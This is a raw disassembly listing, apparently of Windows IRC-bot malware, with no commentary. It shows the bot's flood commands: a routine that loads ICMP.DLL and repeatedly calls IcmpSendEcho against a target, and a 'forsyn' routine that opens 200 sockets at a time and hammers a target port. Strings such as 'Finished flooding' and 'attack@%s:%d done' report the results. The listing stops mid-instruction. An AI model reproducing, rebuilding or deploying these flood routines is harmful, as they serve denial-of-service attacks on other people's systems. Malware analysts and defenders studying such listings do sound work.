--------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_425980 proc near ; CODE XREF: sub_401609j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_425980 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_425980 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8Eh push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_425BD0: ; CODE XREF: ___:loc_401B6Dj push 0FFFFFFFFh push offset loc_43B6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014D3 push eax mov ecx, ebp call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_425D68 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_425C3B mov ecx, eax call sub_401DD9 mov ebp, eax loc_425C3B: ; CODE XREF: ___:00425C30j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FBE mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013D4 mov ebp, [esp+54h] loc_425D68: ; CODE XREF: ___:00425C11j lea ecx, [ebx+8Eh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_425EDA push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_425DAB mov ecx, eax call sub_401BC7 mov ebp, eax jmp short loc_425DAD ; --------------------------------------------------------------------------- loc_425DAB: ; CODE XREF: ___:00425D9Ej xor ebp, ebp loc_425DAD: ; CODE XREF: ___:00425DA9j push offset asc_443600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_425EDA: ; CODE XREF: ___:00425D7Dj lea ecx, [ebx+4] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_426049 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_425F1A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_425F1C ; --------------------------------------------------------------------------- loc_425F1A: ; CODE XREF: ___:00425F0Dj xor ebp, ebp loc_425F1C: ; CODE XREF: ___:00425F18j push offset asc_443600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013D4 mov ebp, [esp+54h] loc_426049: ; CODE XREF: ___:00425EECj lea ecx, [ebx+32h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4261F4 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_426089 mov ecx, eax call sub_401785 mov ebp, eax jmp short loc_42608B ; --------------------------------------------------------------------------- loc_426089: ; CODE XREF: ___:0042607Cj xor ebp, ebp loc_42608B: ; CODE XREF: ___:00426087j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_4261F4: ; CODE XREF: ___:0042605Bj lea ecx, [ebx+0EAh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_426211 mov [ebx+11Ch], al loc_426211: ; CODE XREF: ___:00426209j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4263D0 proc near ; CODE XREF: sub_401A64j var_4 = dword ptr -4 push ecx mov edx, dword_447A34 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4263F1 inc ecx mov [eax+118h], ecx loc_4263F1: ; CODE XREF: sub_4263D0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6ECB call sub_40120D sub_4263D0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426450 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426450 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0DC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426450 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4264C0 proc near ; CODE XREF: sub_401F7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4264C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4264C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_4014C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426560 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_426560 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_426620: ; CODE XREF: ___:loc_4016D1j ; ___:0040217Bj push esi mov esi, ecx call sub_4014C4 test byte ptr [esp+8], 1 jz short loc_426638 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426638: ; CODE XREF: ___:0042662Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402090 test [esp+4+arg_0], 1 jz short loc_426668 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426668: ; CODE XREF: sub_426650+Dj mov eax, esi pop esi retn 4 sub_426650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426680 proc near ; CODE XREF: sub_402090j jmp sub_4014C4 sub_426680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266A0 proc near ; CODE XREF: sub_401A41j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4266A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_40182F add esp, 10h test eax, eax jz short loc_426764 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_42677E ; --------------------------------------------------------------------------- loc_426764: ; CODE XREF: sub_4266A0+9Aj mov ecx, ebx call sub_4017E4 push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_42677E: ; CODE XREF: sub_4266A0+C2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_4266A0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426820 proc near ; CODE XREF: sub_401E7Ej var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_436840 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27C0890h mov esi, eax test esi, esi jz short loc_42688A mov edi, dword_50F8A0 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_50E140, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_50E144, eax call edi mov ecx, dword_50E140 mov dword_50E13C, eax test ecx, ecx jz short loc_42688A mov edx, dword_50E144 test edx, edx jz short loc_42688A test eax, eax jz short loc_42688A mov al, [esp+0Bh] test al, al jz short loc_426895 loc_42688A: ; CODE XREF: sub_426820+1Bj ; sub_426820+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_426895: ; CODE XREF: sub_426820+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_4268AC mov [esp+24h+arg_FFE8], eax loc_4268AC: ; CODE XREF: sub_426820+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_4268BF mov ebp, 1 loc_4268BF: ; CODE XREF: sub_426820+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_426904 loc_4268D0: ; CODE XREF: sub_426820+E2j mov al, byte_4D64E9 test al, al jz short loc_426904 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_50E13C ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_4268D0 loc_426904: ; CODE XREF: sub_426820+AEj ; sub_426820+B7j push edi call dword_50E144 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_426820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426960 proc near ; CODE XREF: sub_40182Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40187F mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E7E add esp, 14h retn sub_426960 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401BC7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4269A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0FC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_426A10: ; CODE XREF: ___:00401A19j ; ___:loc_401AAFj push esi mov esi, ecx call sub_4017FD test byte ptr [esp+8], 1 jz short loc_426A28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426A28: ; CODE XREF: ___:00426A1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A40 proc near ; CODE XREF: sub_4017FDj jmp sub_4014C4 sub_426A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A60 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426A60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E5DBF mov [esp+2Ch+var_28], eax loc_426A86: ; CODE XREF: sub_426A60+35j cmp dword ptr [ecx], 0 jz short loc_426A97 add ecx, 78h inc eax cmp ecx, offset byte_4E671F jl short loc_426A86 loc_426A97: ; CODE XREF: sub_426A60+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_426C49 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E5D4Bh[eax*8] call sub_4017E4 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx call near ptr 71AB2B66h nop and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_426B00 mov dword ptr [ebp+68h], 5 loc_426B00: ; CODE XREF: sub_426A60+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_50E14C mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_50E34C push 0 push ecx push offset sub_4012C1 push 0 push 0 call near ptr 2770000h nop test eax, eax mov dword_50E350, eax jz short loc_426B9B push offset dword_446F64 push 5 push eax push 0 push offset dword_50E14C call sub_4013E8 add esp, 14h mov [ebp+70h], eax jmp short loc_426BCB ; --------------------------------------------------------------------------- loc_426B9B: ; CODE XREF: sub_426A60+11Dj mov ecx, esi call sub_4017E4 push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_426BCB: ; CODE XREF: sub_426A60+139j lea ecx, [esp+38h+var_24] call sub_401424 mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017E4 push eax push offset aS ; "%s" mov ecx, edi call sub_4014D3 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_426C49: ; CODE XREF: sub_426A60+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_426A60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426CE0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E5D4Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_426D76 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_426D6F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6765[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_426D6F: ; CODE XREF: sub_426CE0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_426D76: ; CODE XREF: sub_426CE0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_426E26 mov ebx, dword_50FC30 loc_426D95: ; CODE XREF: sub_426CE0+140j mov al, byte_4D64E9 test al, al jz loc_426E26 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DAB: ; CODE XREF: sub_426CE0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_426DCB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_426DCB: ; CODE XREF: sub_426CE0+D8j add esi, 4 dec edi jnz short loc_426DAB lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DDA: ; CODE XREF: sub_426CE0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_426DDA mov ecx, [ebp+68h] push ecx call near ptr 2811E0Eh nop lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426E03: ; CODE XREF: sub_426CE0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_426E03 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_426D95 loc_426E26: ; CODE XREF: sub_426CE0+A9j ; sub_426CE0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov 